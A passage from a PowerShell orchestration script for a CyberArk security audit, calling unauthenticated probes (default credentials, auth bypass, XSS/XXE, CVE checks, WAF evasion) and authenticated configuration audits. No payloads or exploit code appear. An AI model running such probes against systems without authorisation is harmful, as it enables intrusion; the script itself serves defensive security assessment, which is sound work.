-CheckName "Vault Port Security Check" ` -Reason "Skipped via -SkipPortScan parameter" ` -Type "Skipped" } try { Test-CipherSuites } catch { Add-SkippedCheck -Category "TLS Security" -CISControl "TLS1" -CheckName "Cipher Suite Check" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-DNSSecurity } catch { Add-SkippedCheck -Category "Network Security" -CISControl "NET7" -CheckName "DNS Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } Write-Host "" Write-Host "[UNAUTH] Running TLS/SSL Security Checks..." -ForegroundColor Yellow Write-Host "============================================" -ForegroundColor Yellow try { Test-TLSConfiguration } catch { Add-SkippedCheck -Category "Transport Security" -CISControl "8.1" -CheckName "TLS Configuration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CertificateIssues } catch { Add-SkippedCheck -Category "Certificate" -CISControl "BB9" -CheckName "Certificate Check" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } # Blackbox Security Checks $runBlackboxChecks = (-not $script:RunOnlyMode) -or $OnlyBlackboxChecks if ($runBlackboxChecks) { Write-Host "" Write-Host "[UNAUTH] Running Blackbox Security Checks..." -ForegroundColor Yellow Write-Host "=============================================" -ForegroundColor Yellow try { Test-ExposedEndpoints } catch { Add-SkippedCheck -Category "Exposed Endpoints" -CISControl "BB1" -CheckName "Exposed Endpoints" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-InformationDisclosure } catch { Add-SkippedCheck -Category "Information Disclosure" -CISControl "BB2" -CheckName "Information Disclosure" -Reason "Error: $($_.Exception.Message)" -Type "Error" } if (-not $SkipDefaultCredentialTests -and -not $script:SkipDefaultCredentialTests) { try { Test-DefaultCredentials } catch { Add-SkippedCheck -Category "Default Credentials" -CISControl "BB3" -CheckName "Default Credentials" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } else { Add-SkippedCheck -Category "Default Credentials" -CISControl "BB3" -CheckName "Default Credentials" -Reason "Skipped by user request (-SkipDefaultCredentialTests or -OPSECMode)" -Type "Skipped" } try { Test-HTTPMethods } catch { Add-SkippedCheck -Category "HTTP Methods" -CISControl "BB4" -CheckName "HTTP Methods" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CookieSecurity } catch { Add-SkippedCheck -Category "Cookie Security" -CISControl "BB5" -CheckName "Cookie Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-SecurityHeaders } catch { Add-SkippedCheck -Category "Security Headers" -CISControl "HDR1" -CheckName "Security Headers" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CORSConfiguration } catch { Add-SkippedCheck -Category "CORS Configuration" -CISControl "BB6" -CheckName "CORS Configuration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-BackupAndConfigFiles } catch { Add-SkippedCheck -Category "Exposed Files" -CISControl "BB7" -CheckName "Backup/Config Files" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-DirectoryListing } catch { Add-SkippedCheck -Category "Directory Listing" -CISControl "BB8" -CheckName "Directory Listing" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-RateLimiting } catch { Add-SkippedCheck -Category "Rate Limiting" -CISControl "BB10" -CheckName "Rate Limiting" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-KnownVulnerabilities } catch { Add-SkippedCheck -Category "Known Vulnerabilities" -CISControl "BB11" -CheckName "Known Vulnerabilities" -Reason "Error: $($_.Exception.Message)" -Type "Error" } Write-Host "" Write-Host "[UNAUTH] Running PVWA Web Security Checks..." -ForegroundColor Yellow Write-Host "=============================================" -ForegroundColor Yellow try { Test-PVWASecurity } catch { Add-SkippedCheck -Category "PVWA Security" -CISControl "V7.1" -CheckName "PVWA Security Headers" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-SessionSecurity } catch { Add-SkippedCheck -Category "Session Security" -CISControl "V7.2" -CheckName "Session Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-HeaderInjection } catch { Add-SkippedCheck -Category "Header Security" -CISControl "V7.1" -CheckName "Header Injection" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-XXEVulnerability } catch { Add-SkippedCheck -Category "XXE Vulnerability" -CISControl "API2" -CheckName "XXE Vulnerability" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } # CVE-Specific Vulnerability Checks $runCVEChecks = ((-not $script:RunOnlyMode) -or $OnlyCVEChecks) -and (-not $SkipCVEChecks) if ($runCVEChecks) { Write-Host "" Write-Host "[UNAUTH] Running CVE-Specific Vulnerability Checks..." -ForegroundColor Yellow Write-Host "======================================================" -ForegroundColor Yellow try { Test-CVE202131796 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE1" -CheckName "CVE-2021-31796" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-HeaderAuthBypass } catch { Add-SkippedCheck -Category "Blackbox Testing" -CISControl "BB12" -CheckName "Header Auth Bypass" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-XSSPatterns } catch { Add-SkippedCheck -Category "Blackbox Testing" -CISControl "BB13" -CheckName "XSS Patterns" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202442340 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE5" -CheckName "CVE-2024-42340" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202442339 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE6" -CheckName "CVE-2024-42339" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AdditionalCVEs } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "BB11" -CheckName "Additional CVEs" -Reason "Error: $($_.Exception.Message)" -Type "Error" } # 2025 CVE Checks Write-Host "" Write-Host "[UNAUTH] Running 2025 CVE Checks..." -ForegroundColor Yellow Write-Host "=====================================" -ForegroundColor Yellow try { Test-CVE2025EPM } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE7" -CheckName "CVE-2025 EPM Vulnerabilities" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE2025SecretsManager } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE12" -CheckName "CVE-2025 Secrets Manager Vulnerabilities" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202457967 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE20" -CheckName "CVE-2024-57967 LDAP Privilege Escalation" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202454840 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE21" -CheckName "CVE-2024-54840 Host Header Injection" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202222700 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE22" -CheckName "CVE-2022-22700 Username Enumeration (X-CFY-TX-TM)" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CVE202137151 } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE23" -CheckName "CVE-2021-37151 Username Enumeration (MFA Response)" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-StartAuthenticationInfoDisclosure } catch { Add-SkippedCheck -Category "Information Disclosure" -CISControl "AUTH1" -CheckName "StartAuthentication Info Disclosure" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-ForgotUsernameEnumeration } catch { Add-SkippedCheck -Category "Authentication Security" -CISControl "AUTH1" -CheckName "ForgotUsername Enumeration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-PrototypePollution } catch { Add-SkippedCheck -Category "Third-Party Vulnerabilities" -CISControl "TP2" -CheckName "ag-grid Prototype Pollution" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CA25Bulletins } catch { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CA25-32" -CheckName "CA25 Security Bulletins" -Reason "Error: $($_.Exception.Message)" -Type "Error" } # Additional Security Checks (Non-CVE) Write-Host "" Write-Host "[UNAUTH] Running Additional Security Checks..." -ForegroundColor Yellow Write-Host "================================================" -ForegroundColor Yellow try { Test-UsernameEnumeration } catch { Add-SkippedCheck -Category "Authentication Security" -CISControl "AUTH1" -CheckName "Username Enumeration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-SecurityHeaders } catch { Add-SkippedCheck -Category "Security Headers" -CISControl "HDR1" -CheckName "Security Headers" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-IISHardening } catch { Add-SkippedCheck -Category "IIS Hardening" -CISControl "IIS1" -CheckName "IIS Hardening" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-APISecurityIssues } catch { Add-SkippedCheck -Category "API Security" -CISControl "API6" -CheckName "API Security Issues" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AuthenticationWeaknesses } catch { Add-SkippedCheck -Category "Authentication Security" -CISControl "AUTH2" -CheckName "Authentication Weaknesses" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-InformationDisclosure } catch { Add-SkippedCheck -Category "Information Disclosure" -CISControl "INFO1" -CheckName "Information Disclosure" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-NetworkProtocolIssues } catch { Add-SkippedCheck -Category "Network Security" -CISControl "NET8" -CheckName "Network Protocol Issues" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CyberArkSpecificIssues } catch { Add-SkippedCheck -Category "CyberArk Security" -CISControl "CA1" -CheckName "CyberArk-Specific Issues" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } else { Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE1" ` -CheckName "CVE-2021-31796 (SSRF)" ` -Reason "Skipped via -SkipCVEChecks parameter" ` -Type "Skipped" Add-SkippedCheck -Category "Blackbox Testing" -CISControl "BB12" ` -CheckName "Header Auth Bypass" ` -Reason "Skipped via -SkipCVEChecks parameter" ` -Type "Skipped" Add-SkippedCheck -Category "Blackbox Testing" -CISControl "BB13" ` -CheckName "XSS Patterns" ` -Reason "Skipped via -SkipCVEChecks parameter" ` -Type "Skipped" Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE5" ` -CheckName "CVE-2024-42340 (DOM XSS)" ` -Reason "Skipped via -SkipCVEChecks parameter" ` -Type "Skipped" Add-SkippedCheck -Category "CVE Assessment" -CISControl "CVE6" ` -CheckName "CVE-2024-42339 (HTML Injection)" ` -Reason "Skipped via -SkipCVEChecks parameter" ` -Type "Skipped" } # API Security Checks - skip if OnlyPortScan or OnlyNetworkChecks $runAPIChecks = (-not $SkipAPITests) -and (-not $OnlyPortScan) -and (-not $OnlyNetworkChecks) if ($runAPIChecks) { Write-Host "" Write-Host "[UNAUTH] Running API Security Checks (Unauthenticated)..." -ForegroundColor Yellow Write-Host "==========================================================" -ForegroundColor Yellow try { Test-APISecurity } catch { Add-SkippedCheck -Category "API Security" -CISControl "API1" -CheckName "API Security Tests" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } elseif ($SkipAPITests -or $OnlyPortScan -or $OnlyNetworkChecks) { Add-SkippedCheck -Category "API Security" -CISControl "API1" ` -CheckName "API Authentication Bypass" ` -Reason "Skipped via -SkipAPITests parameter" ` -Type "Skipped" Add-SkippedCheck -Category "API Security" -CISControl "API2" ` -CheckName "Injection Vulnerability Testing" ` -Reason "Skipped via -SkipAPITests parameter" ` -Type "Skipped" Add-SkippedCheck -Category "API Security" -CISControl "API3" ` -CheckName "BOLA/IDOR Testing" ` -Reason "Skipped via -SkipAPITests parameter" ` -Type "Skipped" Add-SkippedCheck -Category "API Security" -CISControl "API4" ` -CheckName "Mass Assignment Testing" ` -Reason "Skipped via -SkipAPITests parameter" ` -Type "Skipped" Add-SkippedCheck -Category "API Security" -CISControl "API5" ` -CheckName "API Versioning Security" ` -Reason "Skipped via -SkipAPITests parameter" ` -Type "Skipped" } if ($IncludeTimingAttacks -or $IncludeJWTTests -or $IncludeWebSocketTests -or $IncludeWAFEvasion) { Write-Host "" Write-Host "[UNAUTH] Running Advanced Red Team Security Checks..." -ForegroundColor Red Write-Host "======================================================" -ForegroundColor Red try { Test-AdvancedSecurityChecks } catch { Add-SkippedCheck -Category "Advanced Security" -CISControl "API1" ` -CheckName "Advanced Red Team Checks" ` -Reason "Error: $($_.Exception.Message)" -Type "Error" } } # Component Version Detection - skip if OnlyPortScan or OnlyNetworkChecks if (-not $OnlyPortScan -and -not $OnlyNetworkChecks) { Write-Host "" Write-Host "[UNAUTH] Running Component Version Detection..." -ForegroundColor Yellow Write-Host "================================================" -ForegroundColor Yellow try { Test-ComponentVersions } catch { Add-SkippedCheck -Category "Version Detection" -CISControl "BB2" -CheckName "Component Versions" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } Write-Host "" Write-AuditLog "Phase 1 (Unauthenticated) checks complete." -Level Success } # End of Phase 1 else block (not OnlyAuthenticatedChecks) #====================================================================== # PHASE 2: AUTHENTICATED CHECKS (CyberArk API credentials required) #====================================================================== # Skip Phase 2 if any "Only" mode that doesn't include authenticated checks $skipPhase2ForOnlyMode = $OnlyPortScan -or $OnlyCVEChecks -or $OnlyNetworkChecks -or $OnlyBlackboxChecks if ($skipPhase2ForOnlyMode) { Write-Host "" Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host "| PHASE 2: AUTHENTICATED SECURITY CHECKS (SKIPPED) |" -ForegroundColor DarkGray Write-Host "| (Skipped - selective execution mode excludes auth checks) |" -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray } elseif ($UnauthenticatedOnly) { Write-Host "" Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host " (Use without -UnauthenticatedOnly to run these checks) " -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray # Record all authenticated checks as skipped $authChecks = @( @{ Cat = "Safe Configuration"; Ctrl = "3.1"; Name = "Safe Configuration Audit" }, @{ Cat = "Credential Management"; Ctrl = "4.1"; Name = "Account Configuration Audit" }, @{ Cat = "Platform Configuration"; Ctrl = "2.4"; Name = "Platform Configuration Audit" }, @{ Cat = "User Management"; Ctrl = "5.1"; Name = "User Configuration Audit" }, @{ Cat = "Authentication"; Ctrl = "5.1"; Name = "Authentication Methods Audit" }, @{ Cat = "System Health"; Ctrl = "7.3"; Name = "Component Health Check" }, @{ Cat = "Master Policy"; Ctrl = "V1.1"; Name = "Master Policy Audit" }, @{ Cat = "PSM Configuration"; Ctrl = "V2.1"; Name = "PSM Configuration Audit" }, @{ Cat = "Account Discovery"; Ctrl = "V3.1"; Name = "Account Discovery Audit" }, @{ Cat = "Privileged Threat Analytics"; Ctrl = "V4.1"; Name = "PTA Configuration Audit" }, @{ Cat = "Linked Accounts"; Ctrl = "V6.1"; Name = "Linked Accounts Audit" }, @{ Cat = "CPM Configuration"; Ctrl = "V8.1"; Name = "CPM Configuration Audit" } ) foreach ($check in $authChecks) { Add-SkippedCheck -Category $check.Cat -CISControl $check.Ctrl ` -CheckName $check.Name ` -Reason "Skipped via -UnauthenticatedOnly parameter (requires CyberArk API authentication)" ` -Type "Skipped" } } elseif ($SkipAuthenticatedChecks) { Write-Host "" Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host "â•‘ (Skipped via -SkipAuthenticatedChecks parameter) â•‘" -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray Add-SkippedCheck -Category "Authenticated Checks" -CISControl "3.1" ` -CheckName "All Authenticated Checks" ` -Reason "Skipped via -SkipAuthenticatedChecks parameter" ` -Type "Skipped" } else { Write-Host "" Write-Host "+============================================================+" -ForegroundColor Green Write-Host "| PHASE 2: AUTHENTICATED SECURITY CHECKS |" -ForegroundColor Green Write-Host "| (Requires CyberArk API credentials) |" -ForegroundColor Green Write-Host "+============================================================+" -ForegroundColor Green Write-Host "" Write-Host " The following checks require authenticated access to the" -ForegroundColor Cyan Write-Host " CyberArk REST API with appropriate permissions:" -ForegroundColor Cyan Write-Host "" Write-Host " - Safe configurations and permissions" -ForegroundColor Gray Write-Host " - Account and credential management settings" -ForegroundColor Gray Write-Host " - Platform configurations" -ForegroundColor Gray Write-Host " - User accounts and vault permissions" -ForegroundColor Gray Write-Host " - Authentication method settings" -ForegroundColor Gray Write-Host " - Component health status" -ForegroundColor Gray Write-Host " - Master Policy settings" -ForegroundColor Gray Write-Host " - PSM, CPM, PTA configurations" -ForegroundColor Gray Write-Host "" Write-Host " Required permissions: Vault Admin or Auditor role recommended" -ForegroundColor Yellow Write-Host "" # Connect to CyberArk if (Connect-CyberArk) { $script:IsAuthenticated = $true $script:AuditStats.AuthenticatedChecksRun = $true try { Write-Host "" Write-Host "[AUTH] Running CIS Benchmark Audits..." -ForegroundColor Yellow Write-Host "=======================================" -ForegroundColor Yellow try { Test-SafeConfigurations } catch { Add-SkippedCheck -Category "Safe Configuration" -CISControl "3.1" -CheckName "Safe Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AccountConfigurations } catch { Add-SkippedCheck -Category "Credential Management" -CISControl "4.1" -CheckName "Account Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-PlatformConfigurations } catch { Add-SkippedCheck -Category "Platform Configuration" -CISControl "2.4" -CheckName "Platform Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-UserConfigurations } catch { Add-SkippedCheck -Category "User Management" -CISControl "5.1" -CheckName "User Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AuthenticationMethods } catch { Add-SkippedCheck -Category "Authentication" -CISControl "5.1" -CheckName "Authentication Methods Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-ComponentHealth } catch { Add-SkippedCheck -Category "System Health" -CISControl "7.3" -CheckName "Component Health Check" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-SystemConfiguration } catch { Add-SkippedCheck -Category "System Configuration" -CISControl "5.3" -CheckName "System Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-OrphanedSafes } catch { Add-SkippedCheck -Category "Safe Configuration" -CISControl "3.1" -CheckName "Orphaned Safes Check" -Reason "Error: $($_.Exception.Message)" -Type "Error" } Write-Host "" Write-Host "[AUTH] Running Vendor Best Practice Audits..." -ForegroundColor Yellow Write-Host "==============================================" -ForegroundColor Yellow try { Test-MasterPolicy } catch { Add-SkippedCheck -Category "Master Policy" -CISControl "V1.1" -CheckName "Master Policy Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-PSMConfiguration } catch { Add-SkippedCheck -Category "PSM Configuration" -CISControl "V2.1" -CheckName "PSM Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AccountDiscovery } catch { Add-SkippedCheck -Category "Account Discovery" -CISControl "V3.1" -CheckName "Account Discovery Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-PTAConfiguration } catch { Add-SkippedCheck -Category "Privileged Threat Analytics" -CISControl "V4.1" -CheckName "PTA Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-LinkedAccounts } catch { Add-SkippedCheck -Category "Linked Accounts" -CISControl "V6.1" -CheckName "Linked Accounts Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-CPMConfiguration } catch { Add-SkippedCheck -Category "CPM Configuration" -CISControl "V8.1" -CheckName "CPM Configuration Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-SafeDualControl } catch { Add-SkippedCheck -Category "Safe Configuration" -CISControl "3.3" -CheckName "Safe Dual Control Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-AccountGroups } catch { Add-SkippedCheck -Category "Account Management" -CISControl "4.1" -CheckName "Account Groups Audit" -Reason "Error: $($_.Exception.Message)" -Type "Error" } if (-not $SkipMachineIdentity) { Write-Host "" Write-Host "[AUTH] Running Machine Identity Security Checks..." -ForegroundColor Yellow Write-Host "===================================================" -ForegroundColor Yellow try { Test-MachineIdentitySecurity } catch { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID1" -CheckName "Machine Identity Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if (-not $SkipSecretsChecks) { Write-Host "" Write-Host "[AUTH] Running Secrets Management Checks..." -ForegroundColor Yellow Write-Host "===========================================" -ForegroundColor Yellow try { Test-SecretsManagement } catch { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC1" -CheckName "Secrets Management" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } Write-Host "" Write-Host "[AUTH] Running Zero Standing Privileges Checks..." -ForegroundColor Yellow Write-Host "=================================================" -ForegroundColor Yellow try { Test-ZeroStandingPrivileges } catch { Add-SkippedCheck -Category "Zero Standing Privileges" -CISControl "ZSP1" -CheckName "Zero Standing Privileges" -Reason "Error: $($_.Exception.Message)" -Type "Error" } if (-not $SkipIGAChecks) { Write-Host "" Write-Host "[AUTH] Running Identity Governance Checks..." -ForegroundColor Yellow Write-Host "============================================" -ForegroundColor Yellow try { Test-IdentityGovernance } catch { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA1" -CheckName "Identity Governance" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if (-not $SkipCloudChecks) { Write-Host "" Write-Host "[AUTH] Running Cloud Security Checks..." -ForegroundColor Yellow Write-Host "=======================================" -ForegroundColor Yellow try { Test-CloudSecurity } catch { Add-SkippedCheck -Category "Cloud Security" -CISControl "CLD1" -CheckName "Cloud Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if (-not $SkipDRChecks) { Write-Host "" Write-Host "[AUTH] Running Disaster Recovery Checks..." -ForegroundColor Yellow Write-Host "==========================================" -ForegroundColor Yellow try { Test-DisasterRecovery } catch { Add-SkippedCheck -Category "Disaster Recovery" -CISControl "DR1" -CheckName "Disaster Recovery" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeEPMChecks -or $EPMUrl) { Write-Host "" Write-Host "[AUTH] Running EPM Integration Checks..." -ForegroundColor Yellow Write-Host "========================================" -ForegroundColor Yellow try { Test-EPMIntegration -EPMUrl $EPMUrl } catch { Add-SkippedCheck -Category "EPM Security" -CISControl "EPM1" -CheckName "EPM Integration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } Write-Host "" Write-Host "[AUTH] Running Audit Logging Checks..." -ForegroundColor Yellow Write-Host "======================================" -ForegroundColor Yellow try { Test-AuditLogging } catch { Add-SkippedCheck -Category "Audit Logging" -CISControl "AUD1" -CheckName "Audit Logging" -Reason "Error: $($_.Exception.Message)" -Type "Error" } if ($ComplianceMapping) { Write-Host "" Write-Host "[AUTH] Generating Compliance Framework Mapping..." -ForegroundColor Yellow Write-Host "=================================================" -ForegroundColor Yellow try { Test-ComplianceMapping } catch { Add-SkippedCheck -Category "Compliance Mapping" -CISControl "COMP1" -CheckName "Compliance Mapping" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeADChecks) { Write-Host "" Write-Host "[AUTH] Running Active Directory Security Checks..." -ForegroundColor Yellow Write-Host "=====================================================================" -ForegroundColor Yellow try { Test-ADSecurity } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD1" -CheckName "AD Security Checks" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeConjurChecks -or $ConjurUrl) { Write-Host "" Write-Host "[AUTH] Running Conjur/Secrets Manager Integration Checks..." -ForegroundColor Yellow Write-Host "============================================================" -ForegroundColor Yellow try { Test-ConjurIntegration } catch { Add-SkippedCheck -Category "Conjur Integration" -CISControl "SEC9" -CheckName "Conjur Integration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeSecretsHubChecks -or $SecretsHubUrl) { Write-Host "" Write-Host "[AUTH] Running Secrets Hub Integration Checks..." -ForegroundColor Magenta Write-Host "=================================================" -ForegroundColor Magenta try { Test-SecretsHubIntegration } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" -CheckName "Secrets Hub Integration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeRemoteAccessChecks -or $AleroUrl) { Write-Host "" Write-Host "[AUTH] Running Remote Access / Alero Checks..." -ForegroundColor Magenta Write-Host "===============================================" -ForegroundColor Magenta try { Test-RemoteAccessSecurity } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA1" -CheckName "Remote Access Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeK8sChecks) { Write-Host "" Write-Host "[AUTH] Running Kubernetes / Container Secrets Checks..." -ForegroundColor Magenta Write-Host "========================================================" -ForegroundColor Magenta try { Test-KubernetesSecretsSecurity } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S1" -CheckName "Kubernetes Secrets Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeDevSecOpsChecks) { Write-Host "" Write-Host "[AUTH] Running DevSecOps Pipeline Security Checks..." -ForegroundColor Magenta Write-Host "=====================================================" -ForegroundColor Magenta try { Test-DevSecOpsSecurity } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO1" -CheckName "DevSecOps Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludePrivilegeCloudChecks -or $PrivilegeCloudTenant) { Write-Host "" Write-Host "[AUTH] Running Privilege Cloud / SaaS Checks..." -ForegroundColor Magenta Write-Host "===============================================" -ForegroundColor Magenta try { Test-PrivilegeCloudSecurity } catch { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC1" -CheckName "Privilege Cloud Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeIdentityChecks -or $IdentityTenantUrl) { Write-Host "" Write-Host "[AUTH] Running CyberArk Identity / Idaptive Checks..." -ForegroundColor Magenta Write-Host "======================================================" -ForegroundColor Magenta try { Test-CyberArkIdentitySecurity } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN1" -CheckName "CyberArk Identity Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludePluginChecks) { Write-Host "" Write-Host "[AUTH] Running Custom Plugins & Components Checks..." -ForegroundColor Magenta Write-Host "=====================================================" -ForegroundColor Magenta try { Test-CustomPluginSecurity } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG1" -CheckName "Custom Plugins Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeBackupSecurityChecks) { Write-Host "" Write-Host "[AUTH] Running Backup & Recovery Security Checks..." -ForegroundColor Magenta Write-Host "====================================================" -ForegroundColor Magenta try { Test-BackupSecurity } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP1" -CheckName "Backup Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeHSMChecks -or $HSMProvider) { Write-Host "" Write-Host "[AUTH] Running HSM Integration Checks..." -ForegroundColor Magenta Write-Host "=========================================" -ForegroundColor Magenta try { Test-HSMIntegration } catch { Add-SkippedCheck -Category "HSM Integration" -CISControl "HSM1" -CheckName "HSM Integration" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludePTADeepDive) { Write-Host "" Write-Host "[AUTH] Running PTA Deep Dive / Advanced Detection Checks..." -ForegroundColor Magenta Write-Host "=============================================================" -ForegroundColor Magenta try { Test-PTAAdvanced } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD1" -CheckName "PTA Advanced Detection" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeThirdPartyChecks) { Write-Host "" Write-Host "[AUTH] Running Third-Party Integration Checks (SIEM/ITSM/SOAR)..." -ForegroundColor Magenta Write-Host "=================================================================" -ForegroundColor Magenta try { Test-ThirdPartyIntegrations } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI1" -CheckName "Third-Party Integrations" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeOperationalChecks) { Write-Host "" Write-Host "[AUTH] Running Operational Hygiene Metrics Checks..." -ForegroundColor Magenta Write-Host "=====================================================" -ForegroundColor Magenta try { Test-OperationalHygiene } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS1" -CheckName "Operational Hygiene Metrics" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeAttackPathChecks) { Write-Host "" Write-Host "[AUTH] Running Attack Path Simulation Checks (Red Team)..." -ForegroundColor Magenta Write-Host "===========================================================" -ForegroundColor Magenta try { Test-AttackPathSimulation } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS1" -CheckName "Attack Path Simulation" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeSupplyChainChecks) { Write-Host "" Write-Host "[AUTH] Running Supply Chain Integrity Checks..." -ForegroundColor Magenta Write-Host "================================================" -ForegroundColor Magenta try { Test-SupplyChainIntegrity } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI1" -CheckName "Supply Chain Integrity" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeNetworkSegmentationChecks) { Write-Host "" Write-Host "[AUTH] Running Network Segmentation Checks..." -ForegroundColor Magenta Write-Host "==============================================" -ForegroundColor Magenta try { Test-NetworkSegmentation } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG1" -CheckName "Network Segmentation" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } Write-Host "" Write-Host "[AUTH] Running AIM Provider Security Checks..." -ForegroundColor Yellow Write-Host "==============================================" -ForegroundColor Yellow try { Test-AIMProviderSecurity } catch { 